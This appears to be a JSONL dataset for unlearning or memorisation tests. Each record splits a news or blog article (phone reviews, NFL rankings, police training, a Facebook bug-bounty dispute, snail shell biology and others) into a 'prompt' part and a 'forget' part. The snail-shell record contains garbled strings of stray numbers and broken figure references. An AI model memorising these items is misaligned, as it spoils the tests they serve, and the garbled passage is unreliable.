{"prompt": "Metal or plastic? Ultrapixels or lasers? QHD or 1080p? It's time to choose between two of the hottest Android phones out there This is one of the big questions we find ourselves being asked by smartphone buyers \u2014 which is better, the LG G3 or the HTC One M8? Both of these high-end Android phones have captured the imagination of enthusiasts and technology fans since their announcement, and now both are widely available to buy in the U.S. So there's no avoiding the issue any longer \u2014 the Android Central editors are going to have to choose between the G3", "forget": "and the M8. Join us as we break things down and make our decisions ... Physical hardware and build quality Q: Both of these devices are physically remarkable. The G3's sheer size lets it pack a 5.5-inch screen, but the HTC One M8 boasts the boasts a uniquely premium metal frame. Superficially speaking, whose design do you prefer? Alex Dobie: LG's done a fantastic job creating a 5.5-inch phone that's just as holdable and pocketable as its 5-inch competitors. But it's really tough to beat the curved metal unibody of the M8, tall and slippery though it may be. While LG's content imitating premium materials with its \"metallic,\" rear, HTC has the real deal, and the in-hand feels is unlike any other smartphone. There are disadvantages, of course. You're never going to get wireless charging in a metal-backed phone, and HTC's solid unibody precludes any possibility of swapping your battery. But the M8's fantastic metal exterior more than makes up for this. This is almost like having to pick a favorite child. Phil Nickinson: This is almost like having to pick a favorite child. (And to sleep at night, I'd need to throw the Moto X into the mix.) For a phone of its size, the LG G3 wins out on in-hand feel. I've got small hands, so big phones have never really been my thing. But the difference between the G3 and the M8 is completely obvious. The G3 simply is easier and more comfortable hold. The M8 might look a little nicer \u2014 and I'm not convinced most civilians would be able to tell the difference between the M8's aluminum and the G3's plastic metal at a glance \u2014 but the G3 simply is easier to hang onto, full stop. The buttons on the back are still (surprisingly)"}
{"prompt": "An NBC Bay Area Investigation into the number of police officer deaths at the hands of suspects wielding knives or other sharp objects is raising serious questions about police training. Critics say a training drill, called the \u201c21-Foot Rule,\u201d resulted in the unnecessary deaths of thousands of citizens in confrontations with law enforcement. Investigative reporter Stephen Stock reports on a story that first aired Oct. 26, 2017. (Published Tuesday, Oct. 31, 2017) An NBC Bay Area Investigation into the number of police officer deaths at the hands of suspects wielding knives or other sharp objects is raising serious questions about", "forget": "police training. Critics say a training drill, called the \u201c21-Foot Rule,\u201d resulted in the unnecessary deaths of thousands of citizens in confrontations with law enforcement. The \u201c21-Foot Rule\u201d is meant to deal with the perceived threat of suspects with knives. It\u2019s based on police training drills that were run in the early 1980s by the Salt Lake City Police Department. Officers there found that a suspect could cover 21 feet in the same time it takes a police officer to draw and fire a holstered weapon. But that so-called \u201crule\u201d has not been tested scientifically - until recently. At an outdoor firing range in Corona, California, Dr. Ron Martinelli and his team scientifically study what happens when suspects with knives threaten police. \u201cI study officer involved cases every single day,\u201d said Martinelli. \u201cI actually get notations all around the United States whenever an officer goes down or a suspect goes down.\u201d A former San Jose police officer, now a criminologist, Dr. Martinelli has run hundreds of these drills over the past year, testing a wide variety of officer skill sets, from rookie cops all the way police veterans. He\u2019s even measured the reaction time of US Navy Seals. Martinelli\u2019s research shows how quickly a suspect with a knife can close the gap on an officer. \u201cWhile a Navy Seal might be able to shoot somebody who is charging from 8 feet away,\u201d he said, \u201ca rookie cop might need 65 feet.\u201d In fact, for more than a year now, Martinelli has written about his research, calling the \u201c21-Foot Rule\u201d a myth. Dr. Ron Martinelli has been testing the 21-Foot Rule for the past year. Photo credit: NBC Bay Area (August 2017) \u201cIt is. And I wrote about that and that was my theory over a year ago,\u201d Martinelli said. \u201cAs"}
{"prompt": "Now that we are officially in the second half of the NFL season, it\u2019s time to look at where each of the teams are headed. Much like last week\u2019s article, I have separated the teams into four different categories: True Contenders, Playoff Bound Material, Mediocre at Best, and Dead in the Water. True Contenders: Philadelphia Eagles, Pittsburgh Steelers, New England Patriots, Los Angeles Rams, New Orleans Saints, Minnesota Vikings. Philadelphia (8-1) still looks the team to beat in the entire NFL, and are the closest thing the league has to a pure, dominant squad. The Patriots (6-2) and Steelers (6-2)", "forget": "both benefited greatly from their bye weeks, and now are the top two seeds in the AFC playoff picture. The Saints (6-2) have now rallied off six straight wins, after starting their season 0-2. After steam-rolling through a bad Tampa Bay team, they look to be clicking on all cylinders moving into the home stretch of the season. The Los Angeles Rams (6-2) continue to roll as well, after another dominant performance this week over the Giants. Playoff Bound Material: Kansas City Chiefs, Seattle Seahawks, Jacksonville Jaguars, Tennessee Titans, Carolina Panthers, Dallas Cowboys, Buffalo Bills, Washington Redskins. Kansas City (6-3) dropped another game this week, and now will have to claw their way back into an AFC top seed. Seattle (5-3) experienced a heart-breaking loss to the Washington Redskins (4-4) after giving up the deciding touchdown in the final minute of regulation. Dallas (5-3) was able to gain another impressive victory at home versus the Chiefs, and look like Dak Prescott has this team believing in themselves again. The Buffalo Bills (5-3) dropped an inexcusable game to the NY Jets on Thursday night, but should be able to recover this week. Jacksonville (5-3) is keeping pace with Tennessee (5-3) atop of the AFC South, while Houston has dropped far in these rankings due to the tragic ACL injury to star rookie quarterback Deshaun Watson. Additionally, Carolina (6-3) is the toughest team to figure out after another key divisional win against the Falcons (4-4). Mediocre at Best: NY Jets, Miami Dolphins, Baltimore Ravens, Los Angeles Chargers, Detroit Lions, Atlanta Falcons, Oakland Raiders, Arizona Cardinals. The NY Jets (4-5) started out in these rankings as one of the assumed worst teams in the league, yet they have showed a lot of fight and are a tough squad to face week in and"}
{"prompt": "After a Palestinian researcher was denied a bug bounty by Facebook, Marc Maiffret, CTO of BeyondTrust, kicked off a crowd-sourced fund yesterday to come up with a reward. The researcher, Khalil Shreateh, expressed his gratitude today to Maiffret and others who have contributed to the fund. \u201cThank you so much. I never imagined what they will do for me,\u201d Shreateh said in a telephone interview. Seventy-nine people have contributed nearly $9,000 in the last 24 hours to an account that will be handed over to Shreateh once it reaches the goal of $10,000. Maiffret seeded the fund with $3,000 of", "forget": "his own money after appearing on CNN to talk about the Facebook vulnerability that Shreateh found. Earlier this month Shreateh reported a vulnerability to Facebook\u2019s bug bounty program, saying that he had found a way to post content to any user\u2019s timeline, even when not on a victim\u2019s friends list. Facebook rebuffed him in return emails and ultimately claimed his discovery wasn\u2019t a bug. Frustrated, Shreateh took matters into his own hands and planted a message on CEO Mark Zuckerberg\u2019s Facebook timeline. That got the attention of Facebook\u2019s security engineers, who quickly locked Shreateh out of his account. After restoring his access, Facebook said it would not pay him a bounty. \u201cThe more important issue here is with how the bug was demonstrated using the accounts of real people without their permission,\u201d said Facebook software engineer Matt Jones in a Sunday entry on Hacker News. \u201cExploiting bugs to impact real users is not acceptable behavior for a white hat.\u201d Jones did acknowledge that Facebook should have asked Shreateh for more information before dismissing his report, but he also ticked off a list of reasons, including the fact that Facebook receives \u201chundreds of reports each day\u201d and the lack of detailed proof in Shreateh\u2019s original report. He also intimated that Shreateh\u2019s poor English skills had been a problem. In an interview on CNN Monday, Maiffret took exception to Facebook\u2019s decision not to reward Shreateh. \u201cUltimately, he helped kill a bug that could have been used by pretty bad guys out there to do things against Facebook users,\u201d said Maiffret. \u201cUltimately, he did a great thing and I don\u2019t think that should be lost in all this.\u201d The vulnerability was certainly worth money to criminals, Maiffret asserted. \u201cIt would have been something that was very useful to folks in the underground to"}
{"prompt": "Weeks before the races, they start to land in our inboxes. Flanders info sheet. Giro info sheet. The sheet is the skeleton of a bike race, the structure on which an entire team\u2019s functions are built. Who\u2019s going to the race on what day, flight numbers, layover airports, a list of the cars and bus going to the first hotel. Who\u2019s picking who up in what car at what terminal. Sheet doesn\u2019t do them justice, really. The sheet for the Giro is actually 17 pages of careful deliberation. It\u2019s a written chart of the invisible lines we will trace across", "forget": "North America and Europe to all make it to one hotel. I imagine us all as yarn strings across a pane of glass in someone\u2019s head. Move one string and it bends them all. That person is real, and her name is Louise Donald. She\u2019s the Cannondale Pro Cycling Team\u2019s operations director, and she works with the directors and other staff to charts the courses of all these ships that eventually dock at a bike race. The information is kept in \u201cthe cloud\u201d \u2014 that way there is one live copy and less room for confusion, as it changes by the hour sometimes. \u201cThere\u2019s a lot more travel now than there ever was before,\u201d she told me. \u201cIn my dreamworld, I\u2019d write software to make the whole thing connected and seamless. My dream is to type something once, just one time, and it\u2019s populated in all the right places. If Rigo changed his jersey size I\u2019d put it into the database, it would go into his next order, Castelli would be able to see it.\u201d The team will allot 10 complete kits for each rider over the season, roughly. We have 13 cars, seven of which have televisions in them, meaning they\u2019re up to snuff to go into the races, piloted by one of our sport directors. The cars the soigneurs drive to the feed zones need to be race ready as well, in case one of the primary DS cars have an issue mid-race and they need to swap rides. This happens more often than you might think. In total, we have two team buses, three mechanic trucks, one Sprinter van, and various rented vans and campers that keep the show on the road. It\u2019s a constant game of both Tetris and Jenga; something may fit somewhere, but it"}
{"prompt": "Inside a 21st century election campaign: how big data and social media are being used to target your vote Updated Behind an ordinary shop front, far from the chatter of Canberra's Parliament House, the real election campaign is already underway. In fact, it has been going full steam for weeks. In an outer suburban Melbourne swing seat Labor is running its 'listening post'. From desks covered with phones and computers, thousands of conversations between volunteers and the voting public take place. It is just one of the phone banks the major parties are utilising around the country. \"Hello, is that", "forget": "Jillian?\" the volunteer operator asked the person at the other end of the phone. \"My name is Jacob and I'm a friend of Tony Clarke's, he's your local Labor candidate. Do you mind telling me what issues matter to you Jillian?\" Speaking to voters the most effective interaction: campaign guru Stephen Donnelly is the Victorian ALP assistant state secretary. He campaigned for Barack Obama in 2012 and used the technique in 2014 to help Daniel Andrews become the first leader in 60 years to topple a Victorian government after just one term. We are going to try and talk to them one-on-one and understand what their needs are, and they can feed back to us what the community is looking for. ALP candidate for Deakin, Tony Clarke \"There's no more effective conversation or interaction with a voter than actually speaking with them,\" he told 7.30. Tony Clarke is the local ALP candidate for Deakin. \"We are going to try and talk to them one-on-one and understand what their needs are, and they can feed back to us what the community is looking for,\" he told 7.30. It is a simple premise with a 21st century edge \u2014 target a swing seat, get residents talking with other residents, log the data and send it to campaign headquarters. It is a time-consuming process, but just one of the weapons in the campaign arsenal. Canada PM Trudeau's campaign set social media benchmarks Canadian Prime Minister Justin Trudeau's successful campaign this year reached 40 per cent Canada's population through Facebook and Instagram alone. It has prompted some to say that in this 2016 Australian election politicians will not need to get your vote though TV soundbites anymore. Dr Andrea Carson is a political scientist who has studied how politicians engage their audiences in election"}
{"prompt": "SpaceX announced an audacious plan on Wednesday to land an approximately 6,000kg spacecraft on the surface of Mars. This simple declaration from the uber-popular rocket company drew a ton of questions from all quarters, and Ars spoke to a range of people across the space industry to get some answers. How big a milestone would this be? Can SpaceX do it? Is the plan realistic? And why does Rice play Texas, anyway? (OK, we didn't actually try to figure out that last one.) Is this really a big deal? Oh, heavens, yes. No private company has ever launched a significant,", "forget": "independently financed expedition into deep space, let alone all the way to Mars. In fact, only two world powers have ever softly landed spacecraft on Mars. The United States has done so half a dozen times, and the Soviet Union did it once with Mars 3 in 1971\u2014although the vehicle failed after sending back just 15 seconds of data. And all previous soft landings have been relatively small and light; SpaceX is talking about landing a Dragon weighing about 6,000kg on the surface of Mars. The previous landing heavyweight was Curiosity, at 900kg. Soft-landing a 6,000kg object on Mars would be a stunning achievement for NASA or any government-backed space agency. For a private company, it's unheard of. Can they do it? Why not? In just the last six months, SpaceX has successfully launched and then recovered the first stages of multiple Falcon 9 rockets, first landing them on the ground and then later landing on an autonomous drone ship. SpaceX is known for making bold promises, and\u2014eventually\u2014delivering on them. However, the company has missed deadlines before, and making the 2018 launch window to Mars will be a real challenge. What\u2019s so challenging about the timeframe? The 2018 launch presupposes that the company\u2019s Falcon Heavy rocket will be ready to fly by 2018. That launch vehicle, capable of hefting 53 tons to low-Earth orbit (almost twice the ground-to-LEO payload capacity of the Space Shuttle), has already slipped in its development several times. SpaceX is now talking about a test flight by the end of this year, but there is low confidence in the launch industry that the company will make the deadline. One reason for the delays may be complexity: Falcon Heavy combines three Falcon 9 core stages for a total of 27 engines. Nevertheless, when SpaceX gets the vehicle"}
{"prompt": "Defense Secretary Chuck Hagel on Friday said he will appoint a senior officer to be a liaison between himself and the service secretaries and service chiefs to tackle an increasing number of ethical lapses and scandals across the services. Hagel has not selected the official yet, but promised it would be a senior ranking general, and one with experience ranging from the combat theater to curriculum and training. The move follows recent revelations of exam cheating among Air Force and Navy personnel working with nuclear weapons and reactors. These scandals followed a report by the Washington Post exposing a host", "forget": "of investigations that included generals accused of sexual assault, drinking on the job and corruption. \"Ethics and character are absolute values we can't take for granted but have to be constantly reinforced,\" Hagel told an afternoon press conference at the Pentagon. \"An uncompromising culture of accountability must exist at every level of command. That must be practiced and emphasized by leadership at every level. Like at all institutions, it starts at the top.\" Hagel called the effort \"a top priority,\" and said the officer he appoints will work daily with the service secretaries and brass, including Joint Chiefs of Staff Chairman Gen. Martin Dempsey, to assess and fix the problem. He said he will meet with the officer weekly to hear reports on what is being done. Currently, both the Air Force and Navy have investigations into allegations of widespread cheating by airmen and sailors on proficiency exams. The Air Force has suspended 92 Air Force nuclear missile officers suspended at Malmstrom Air Force Base, Mont., where they are accused of cheating on monthly proficiency tests or not reporting knowledge of the scam. In the Navy, 32 senior noncommissioned officers training to be instructors on nuclear reactors have been accused of cheating on their own tests, according to officials. Meanwhile, court documents in a federal case allege a federal contractor bribed multiple Navy officers in exchange for information on ship schedules and cooperation in steering Navy ships to ports where the company could reap higher fees. The increased reports of sexual assault have been a recurring embarrassment to the services in recent year. Congress is now looking at different pieces of legislation intended to change the way sexual assault cases are handled in the military. In one of the most recent cases, Navy Secretary Ray Mabus forced the resignation of"}
{"prompt": "Green River Killer Gary Ridgway's victims in photos A decade after striking a plea deal in the Green River killings, Gary Ridgway has been convicted in 49 slayings of women and girls who disappeared in the 1980s and 1990s. Ridgway and investigators agree he has killed far more, though the truthfulness of his confessions -- offered to avoid execution -- remains suspect. Ridgway has not been convicted or accused in any murders outside King County; authorities elsewhere could still seek a death sentence against the serial killer. less A decade after striking a plea deal in the Green River killings,", "forget": "Gary Ridgway has been convicted in 49 slayings of women and girls who disappeared in the 1980s and 1990s. Ridgway and investigators agree he has ... more Photo: Green River Taskforce Photos From Seattle P-I Archives Photo: Green River Taskforce Photos From Seattle P-I Archives Image 1 of / 67 Caption Close Green River Killer Gary Ridgway's victims in photos 1 / 67 Back to Gallery No one knows how many girls and women Gary Ridgway killed. Captured Nov. 30, 2001, Ridgway \u2013 better known as the Green River Killer \u2013 cut a plea deal on Nov. 5, 2003, meant to give some of his victims\u2019 families solace. While Ridgway admitted to more than 70 killings in King County, it is suspected he killed women elsewhere. Ridgway said he\u2019d killed too many women to recall each slaying. Only the King County killings were included in the 2003 plea agreement, which saw Ridgway sentenced to life in prison without the possibility of parole. When the deal was struck, prosecutors believed they could prove Ridgway had killed seven women, and that most of the other killings would go unsolved. Ridgway could still face a death sentence if he were to be convicted elsewhere or charged in King County killings to which he hasn\u2019t admitted. No other charges have been brought against him. Above is a slideshow with photos of each of the identified women Ridgway has been convicted of killing. They range in age from 15 to 38 \u2013 most of Ridgway\u2019s victims were teens \u2013 and their deaths span at least 16 years. He was also convicted of killing three women whose remains have not been identified. Check the Seattle 911 crime blog for more Seattle crime news. Visit seattlepi.com's home page for more Seattle news. Seattlepi.com reporter Levi Pulkkinen can"}
{"prompt": "It\u2019s 6 p.m. Thursday and about 50 men and women, many of them homeless, are seated in an outdoor area behind an old brick building on Tampa Heights\u2019s Florida Avenue, waiting for dinner. First, Charissa Stepp, 23, the director of what is called The Banquet, asks everyone to keep silent while she says a prayer of thanks. Then the serving begins: In the indoor kitchen of this building called \u201cThe Well,\u201d three volunteers pile plates high with beef, zucchini and rice (prepared by Metropolitan Ministries) and hand them to four other volunteers who, acting as waiters and waitresses, distribute them", "forget": "to the hungry. Most of the diners say \u201cThank you\u201d or \u201cGod bless you,\u201d but a few are so focused on some private anguish that they barely acknowledge the food in front of them. Most eat avidly \u2014 for some, it\u2019s their only meal of the day. There\u2019s laughter now, and conversation, and the occasional friendly argument. By 6:15, plates are empty and the waitstaff comes by with full bowls, offering seconds to whoever wants them. Then, if Metro Min has provided, there\u2019s dessert: cookies or cake. Their bellies full, the guests wander back to their lives on the street or at the Good Samaritan Inn while volunteers collect the plates and glasses and hand them to others who wash them in big metal sinks. By 7, the chairs and tables are folded up and the eating area is mostly deserted. Another Banquet has come and gone. The Well has served Tampa\u2019s poor once again. Not everybody is comfortable about this. \u201cHe told me that he\u2019d be crucified if he renewed our lease,\u201d says Jon Dengler, The Well\u2019s visionary director, about landlord Pawan Rattan. Dengler explains that Rattan told him the pressure from businesses and private citizens in Tampa Heights was simply overwhelming: This home for the homeless was marring an area that\u2019s on the rise socio-economically. Rattan tells me he doesn\u2019t remember making such a statement, and adds that he won\u2019t decide for a few more months whether or not to renew The Well\u2019s lease. But Dengler knows what he heard, and is already thinking about how to carry on when he loses the building in mid-2017. One thing is certain: He won\u2019t give up on the poor. He\u2019s profoundly committed to serving them \u2014 sees it as a religious obligation \u2014 and nothing like a gentrifying community will"}
{"prompt": "Last week, I posted this article analyzing NFL team/college pairings in the NFL Draft. In that study, I included every draft pick since 1936, as the goal was to get a flavor of NFL history. However, I thought it would be fun to do the same thing but to look at more recent time periods. Today\u2019s post will be mostly tables, so hopefully you guys can add the analysis. Let\u2019s start by looking at all (but only) the drafts in the post-merger period in NFL history. NFL Drafts from 1970 to 2013 Top Five Schools for each Team The Rams/UCLA", "forget": "connection is still at the top of the list, but the Pittsburgh/Pittsburgh combination falls off. In fact, the Chiefs and 49ers have drafted as many Panthers since the merger (10) as the Steelers. The table below shows the top five schools for each team: All teams to draft 10+ players from the same school since 1970 This list displays all team/college pairings with at least ten players. For space reasons, the table defaults by showing the top 50, but you can use the search function and the arrow boxes at the bottom of the table to see the rest of the list. Over the last 30 years (1984 to 2013) If we look at only the drafts from the last 30 years, the Bears/Sooners top the list. Chicago drafted 14 players from Oklahoma since 1984, with Tommie Harris being the best. Here are the top five schools for each team All teams to draft 7+ players from the same school since 1984 Over the last 20 years (1994 to 2013) The local connections really die down once we limit things to just the past two decades. Unsurprisingly, the southeast portion of the country is the one most likely to stay local. Top Five Schools for each Team All teams to draft 5+ players from the same school since 1994 Over the last 10 years (2004 to 2013) No connection over the past decade has been as strong as Cincinnati-Georgia. It started with Robert Geathers in 2004, and then the Bengals selected David Pollack and Odell Thurman in the first two rounds of the 2005 draft. In 2010, Cincinnati went back to the Bulldogs front seven and hit a home run with Geno Atkins in the fourth round. In 2011, A.J. Green was the team\u2019s first round pick, and the Bengals"}
{"prompt": "To Scalia, this is all stuff and nonsense. He believes the government should be able to prefer religion. Government neutrality on religious matters, he says, \"is not an accurate representation of what Americans believe.\" Scalia goes on to assert that in the 1960s and `70s, when the high court was much more separationist than it is now, it was in fact \"hostile\" to religion. \"I am not sure how Orthodox Jews feel about the Establishment Clause, but I assume they do not like driving God out of public life,\" he observes. Admittedly, I don't move in Scalia's rarefied circles, but", "forget": "I see little evidence of God being driven out of public life. It's true that government is not supposed to promote religion, but people still can - and they do. Scalia denies that his personal religious views have influenced the way he votes, but then he cuts loose with this gem: \"There is a quote attributed to various people from Bismarck down to Charles de Gaulle. I prefer to attribute it to Charles de Gaulle because it sounds like him. `God protects,' he said, `little children, drunkards and the United States of America.' I think it may be true. And the reason may be because we honor Him as a nation. We invoke Him in our country, our Presidents invoke Him, my court open its sessions with `God save the United States.' Those things are not insignificant.\" Unfortunately, the entire interview is not online. I shudder to think what else it might contain. Scalia has been a complete and utter disaster as far as church-state separation is concerned. He was one of two justices to vote in favor of allowing public schools to teach \"creation science.\" He has voted to allow government to meddle in school prayer at every turn. He believes taxing people to support religious institutions is just fine. As far as he is concerned, government can festoon itself with the Ten Commandments and other sectarian symbols. His view on the free exercise of religion is similarly crabbed. In 1990, Scalia wrote a majority opinion blithely dismissing the importance of the First Amendment's Free Exercise Clause and giving government sweeping new powers to restrict religious behavior. Even many conservatives were appalled. Scalia also wants to limit the right of Americans to challenge church-state violations in federal court. He was in the majority in the infamous Hein v. Freedom"}
{"prompt": "After the Las Vegas murders, Sen. Brian Schatz Brian Emanuel SchatzDems mock Trump's pitch for Fourth of July celebration Democrats brush off GOP 'trolling' over Green New Deal GOP Green New Deal stunt is a great deal for Democrats MORE (D-Hawaii) urged Congress to \u201ctake a stand against gun violence by passing common-sense gun safety laws.\u201d On Monday, after the mass murder in Texas, he wrote, \u201cA simple idea: Anyone convicted of domestic abuse should see their rights under the 2nd Amendment severely curtailed.\u201d On Tuesday, Sen. Jeff Flake Jeffrey (Jeff) Lane FlakeBrexit and exit: A transatlantic comparison Poll: 33%", "forget": "of Kentucky voters approve of McConnell Trump suggests Heller lost reelection bid because he was 'hostile' during 2016 presidential campaign MORE (R-Ariz.) announced that he and Sen. Martin Heinrich Martin Trevor HeinrichOvernight Defense: Dems aim to block use of defense funds for wall | Watchdog issues new warning on Syria withdrawal | Trump wants to 'watch Iran' from Iraq Senate Dems introduce bill to block Trump from using military funds to build wall Puerto Rico statehood supporters pin hopes on House action MORE (D-N.M.) are writing a bill \u201cto prevent anyone convicted of domestic violence \u2014 be it in criminal or military court \u2014 from buying a gun. In the spirit of these proposals, here are some ideas for tough federal gun laws \u2014 most of which should have been enacted years ago. For people convicted of domestic violence, even a misdemeanor, how about a lifetime prohibition on firearms possession? ADVERTISEMENT Further, a government license should be required for anyone who wants to manufacture, import, or sell firearms. The license should be mandatory not only for formal businesses, but also for individuals who make repetitive transactions for the purpose of profit. This would cover people at gun shows who put up signs declaring themselves to be \u201cunlicensed dealers.\u201d Anyone who engages in the firearms business without a federal license should be punished by up to five years imprisonment and a $250,000 fine. Manufacturers, importers, and dealers who are granted a federal license should have to keep meticulous records of every transaction. Their records and inventory should be subject to warrantless, random inspections by the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF). If a license-holder goes out of business, all the records of past sales should be delivered to the ATF. Before a gun store can sell a firearm to"}
{"prompt": "In the field of theoretical morphology of biological shapes, coiling shells have drawn considerable interest for many years. Rice [16] provided a theoretical model based on the idea that the animal must keep a constant gradient of shell growth rate between the outer and inner edge (the gradient) to produce a coiling shell. This idea has been incorporated in many recent models for shell growth (for example, Hammer et al.[17]. Urdy et al. [18]. By contrast, the molecular basis of shell coiling is poorly understood to date. Probably a morphogen-like gradient substance exists, but no candidate for such a concentration", "forget": "gradient has yet been identified. Our results suggest that the left\u2013right gradient of the Dpp protein (caused by a left\u2013right asymmetric expression of the dpp gene) could be the most likely candidate for the gradient in shell coiling, as discussed for some previous mathematical models [16\u201318]. 2 3 2 3 4 19 20 8 3 . Therefore, if cells rapidly proliferate, more cells can secrete shell-matrix proteins in any one unit of time. We thus propose that during coiled-shell development, Dpp acts as a trigger for an asymmetric cell proliferation, by producing a concentration gradient in the mantle from one spot of expression, and diffuses to the other side of the mantle (Figure 5 5 5 5 2 3 4 5 In this study, we found that in the coiled-shell snail L. stagnalis, dpp is expressed in the local spot of the left or right side mantle edge that corresponds with the shell-coiling direction at the veliger stage, and continues being expressed asymmetrically until the adult stage (FigureA-H; Figure). By contrast, in the limpets, dpp continues to be expressed symmetrically from the late trochophore stage to the adult stage (FigureI,K,L; Figure). Furthermore, we found by western blotting using anti-phosphorylated SMAD1/5/8 antibodies that Dpp signals are indeed distributed asymmetrically in the mantle edge in the coiled-shell snail and symmetrically in the non-coiled-shell limpet (Figure). In the fruit fly, Dpp works as a morphogen during wing development, spreading through the target point and forming a concentration gradient that provides positional information []. Rogulja et al. [] further showed that Dpp triggers cell division, and the division activity correlates positively with the concentration of Dpp gradient. Hashimoto et al. [] suggested that in gastropods, Dpp might function by triggering the regulation of cell division in the mantle during shell formation. The cells of"}
{"prompt": "The Internal Revenue Service took a bold step for a government agency and released a smartphone application. Titled IRS2Go, the app lets users check their tax return status. But IRS2Go\u2019s relatively limited functionality signals a future challenge for federal agencies releasing iPhone/Android applications: how do you give people the functionality they want while still complying with a variety of outdated rules that govern agencies\u2019 interactions with the public.IRS2Go is a handsome piece of work that lets users check the status of their federal income tax refund, receive daily tax tips and follow the Twitter feed of the IRS, @IRSNews. That", "forget": "is, however, nothing that cannot be accomplished on the IRS\u2019 website \u2014 but the application does help give a handy public relations boost to a sometimes beleaguered government agency. One thing the application does not do is to allow users to enter tax information via their smartphones or to access tax law information on their handsets. While the wisdom of anyone attempting to enter their taxes on an iPhone is debatable, it is important to note that the IRS was constrained in their options by a series of agreements and government regulations. Software developers working on tax preparation software are subject to a byzantine series of regulations that effect everything from credit card processing to file specifications and XML schemas. The best known of these, the Electronic Federal Tax Payment System, last had its protocol specifications updated in 2005 \u2014 well before the rise of smartphones. Questions submitted to the national media relations office of the IRS by Talking Points Memo about the development process behind the software and whether coding was done in-house or through an external vendor were not answered by press time. However, the IRS offered a prepared statement touting the functionality of the \u201cfirst release of the IRS2Go app,\u201d implying future functionality would be added to the application. While IRS2Go is not a game-changer, its functionality is a step in the right direction. Paul Caron, a prominent tax scholar and D. & L. Straus Distinguished Visiting Professor of Law at Pepperdine University, said \u201cI think the IRS is to be commended for being at the forefront of government agencies in employing new social media to communicate with its customers (taxpayers) [and] not just the new iPhone/Android app, but also its use of Twitter, iTunes and YouTube. The IRS was wise not to go the Facebook route"}
{"prompt": "At the risk of sounding arrogant, the one thing I can appreciate about myself is that I have no illusions about my shortcomings. I willing admit that my expectations of others can be high and sometimes even unrealistic, but for myself, I really just want people to accept me as I am. However, when you are as stubborn and as set in your ways as I am, you tend to get kicked in the rear by karma a lot. And you also run into the constant irritation of people trying to change you all the time. I like to think", "forget": "of my karma as my wake up calls from God. Sometimes these calls are subtle in nature and only require a tiny poke for me to wake up and redirect myself. But more times than not, it takes a drastic, hard, swift, life altering kick in the ass to make me say \u201coh, that is what HE meant.\u201d Here is the thing though, I don\u2019t see anything wrong with it, nor would I do anything any different. I am a firm believer in \u201cyou made your bed, now lay in it\u201d philosophy. If I mess up, than I mess up but on the same token, it is my responsibility to clean up after myself. Sure, I can try to prevent it but unfortunately, I\u2019m just a permanent member of the hard head makes a soft ass club and that is just the way it is. The beauty of where I am at in my life right now is that I am ensuring that this time around, when karma comes calling, I learn to not repeat these same errors. I do believe that life is all about falling and getting back up because it tests your faith and keeps it in check. Even if it takes 50 times to learn just 1 simple lesson, then so be it. Celebrate the accomplishment of learning the lesson and praise God for your new knowledge. I remember the days of trying to be a perfectionist. I believed that term was something to aspire to and that you really had issues to resolve if you weren\u2019t aspiring to it as well. Nowadays, I am more relaxed and I realize there are very few things I do perfectly and it\u2019s not even a term I want to make applicable for myself. See, my biggest karma lesson"}
{"prompt": "After stinging criticism from media watchdogs, cable news network CNN says in the future it will mention the fact that one of its contributors, Alex Castellanos, works for a firm that buys ad time for AHIP, the organization currently running a massive ad campaign against health care reform. But the network \u201cdid not explain why it had not done so in the past,\u201d notes the New York Times. The network had generally described Castellanos as a Republican strategist. AHIP\u2019s ads are running on CNN. The controversy erupted on Wednesday when media watchdog MediaMatters reported it had obtained evidence that the", "forget": "company Castellanos works for, National Media, is the ad buyer for AHIP, short for America\u2019s Health Insurance Plans, an umbrella group of insurers who are working to prevent health care reform from passing Congress. MediaMatters wrote: According to the detailed ad buy information obtained by Media Matters, Castellanos is responsible for placing, beginning October 11, more than $1 million of AHIP advertising in five states. Castellanos last appeared on CNN September 30; during a debate with Rep. Alan Grayson (D-FL) on The Situation Room, Castellanos defended Republican health care proposals. If Castellanos returns to CNN\u2019s airwaves to discuss health care, it shouldn\u2019t be as a Republican strategist and CNN contributor, but as what he is \u2013 an industry spokesman. On Thursday, blogger Greg Sargent at The Plum Line pointed out that Castellanos \u201cis best known for producing the racially-charged \u2018Hands\u2019 ad\u201d for the 1990 North Carolina Senate campaign, when incumbent Jesse Helms was trailing his Democratic challenger. The ad featured a pair of hands crumpling up a letter as the narrator stated, \u201cYou needed that job, but they had to give it to a minority.\u201d Helms won the election, and some observers say the ad helped push Helms over the top. CNN is now defending itself against claims the network has blurred the line between news and advertising \u2014 long considered a cardinal sin among journalists. \u201cAlex Castellanos has not been on CNN since AHIP began its recent advertising campaign, this week, which is when CNN learned of Alex\u2019s relationship with AHIP,\u201d the Times quoted CNN as stating. \u201cWhen Alex Castellanos returns from his vacation and next appears on CNN, we will clearly disclose to our viewers relevant information including his firm\u2019s relationship with AHIP.\u201d As CNN itself reported, the health care industry has spent $263 million this year on"}
{"prompt": "Purity Ring Come Together Photo by Marina Chavez Published Mar 18, 2015 \"Begin again, begin again, begin again.\"Megan James's words float overtop brooding washes of synths crafted by her musical partner Corin Roddick. The phrase, from the song of the same name, reappears, mantra-like, throughout the track, offering humble reassurance to its heartbroken protagonist that this too shall pass.Where the songs on Purity Ring 's debut, Shrines , channelled the body-horror imagery of early David Cronenberg, the theme of renewal runs through \"Begin Again,\" and their anticipated sophomore album, Another Eternity, as a whole. \"[It's about] flipping a life or", "forget": "a phase around,\" confirms James. After touring duties for Shrines were completed, the singer left Halifax \u2014 where she'd lived since before she and Roddick started swapping files of the band's early tracks via email \u2014 and returned to Edmonton, their hometown.James calls \"Begin Again\" the most positive song on the record and fittingly, it provides the album with its title. \"Another eternity captures that sense of the songs and the record as a whole. Being transported to another place. It's a way to express otherworldliness, or what isn't in front of you.\"That theme of rebirth was mirrored by the duo's creative process. After writing Shrines in geographic isolation from one another, James and Roddick decided to actually sit down in a room and write its followup together. \"We hadn't even tried to write together,\" says Roddick. \"We didn't have a plan, and a plan never came. We thought it would.\"\"It was like we started over,\" says James, \"like we were a new band.\"In the run up to Another Eternity's release, Purity Ring have been spending the winter in Los Angeles. \"We've been living here the past couple of months, finishing the record and getting ready for tour,\" explains James, via Skype. \"It's like a bucket list type of thing.\"Their days are filled with interviews; sometimes, they're the ones asking the questions, as they assemble a crew for their upcoming tour . Otherwise they're in the spotlight, spilling the details from the last few years of their lives. Despite the barrage of requests, they make a concerted effort to do any major press obligation together. That way both members can feel comfortable that the true face of the band is being reflected. \"Being a boy-girl electronic duo is so typical right now,\" says James. \"But there are ways that we"}
